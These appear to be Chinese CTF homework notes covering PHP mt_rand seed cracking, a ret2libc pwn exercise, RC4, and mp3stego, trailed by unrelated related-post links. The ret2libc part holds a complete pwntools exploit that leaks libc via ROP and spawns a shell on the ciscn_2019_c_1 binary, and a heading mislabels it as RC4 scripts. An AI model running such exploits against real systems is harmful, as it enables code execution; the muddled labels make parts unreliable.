2.11作业

php_mt_seed

rand=r-mt_rand【令r=0】

!rand就echo rand【得到mt_rand】

已知随机数逆推种子:有两

复制代码
<?php
mt_srand(1183822455);
$rand1 = mt_rand();
$rand2 = mt_rand();
$rand3 = mt_rand();
echo $rand2+$rand3,"\n";
mt_srand(3291176586);
$rand1 = mt_rand();
$rand2 = mt_rand();
$rand3 = mt_rand();
echo $rand1+$rand2;
?>

Cookies传入$token

2

ret2libc

.rodata:00000000001D8678 00000008 C /bin/sh

  1. puts_plt:获取puts函数的PLT(Procedure Linkage Table)地址。

  2. libc_start_main_got:获取__libc_start_main函数的GOT(Global Offset Table)地址。

  3. main:获取main函数的地址

    复制代码
    from pwn import *
    from LibcSearcher import LibcSearcher
    
    sh= process('./libc.so'):启动ret2libc3二进制文件的进程。
    ret2libc = ELF('./libc.so'):加载ret2libc3二进制文件,以便读取其符号和地址。

3【将rc4与其他算法进行组合】

初始化数组256

有两个参数key,keylen

一些rc4的脚本实现:

复制代码
from pwn import *
#p = remote('node3.buuoj.cn',28190)
p = process('./ciscn_2019_c_1')
context.log_level = 'debug'

puts_plt = 0x4006e0
puts_got = 0x602020
gets_got = 0x602050
pop_rdi = 0x0000000000400c83
main = 0x4009a0
#step 1 泄露puts函数的真实地址
payload = b'\x00'*0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendlineafter('Input your choice!\n',str(1))
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
puts = u64(p.recv()[12:18].ljust(8,b'\x00'))
log.success("puts==>"+str(hex(puts)))

from LibcSearcher import *
#step 2 搜索该程序使用的libc版本,并找到内存中的system以及bin/sh 
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
ret = 0x4006b9

# step 3 构造system函数
payload = b'\x00'*0x58  + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(main)
p.sendline(payload)
p.interactive()

初始化s表填充256+种子密钥K表256------k表对s表进行初始置换

密钥流------每个待加密字节与一个生成的伪随机数异或

4

如果key[i]==m[j]:

读取码表[j],

a=[]

a.append(b)

5

mp3stego

复制代码
decode -X -P simple 1.mp3
相关推荐
JohnnyDeng9444 分钟前
Android 包体积优化:R8/ProGuard 深度配置
android
qq_452396231 小时前
第六篇:《JMeter逻辑控制器:循环、条件和交替执行》
android·java·jmeter
cwzqf2 小时前
Jectpack Compose项目组件代码分享(1):分页加载组件
android
@北海怪兽3 小时前
SQL常见函数整理 _ STRING_AGG()
android·数据库·sql
鹏晨互联4 小时前
【Compose vs XML:边框内外间距的实现对比】
android·xml
Android系统攻城狮4 小时前
Android tinyalsa深度解析之pcm_plugin_write调用流程与实战(一百七十九)
android·pcm·tinyalsa·android16·音频进阶·android音频进阶
ID_180079054734 小时前
除了JSON,淘宝店铺商品API接口还支持哪些数据格式?
android·数据库
KillerNoBlood5 小时前
2026移动端跨平台开发面经总结
android·算法·flutter·ios·移动开发·鸿蒙·kmp
消失的旧时光-19435 小时前
Android / IoT 面试复盘总结:从 MQTT、TLS 到 JWT 权限体系(标准答案 + 工程理解 + 延伸知识链)
android·物联网·面试
林多6 小时前
【Android】 GPU过度绘制实现原理
android·gpu·性能·实现原理·过度绘制·overdraw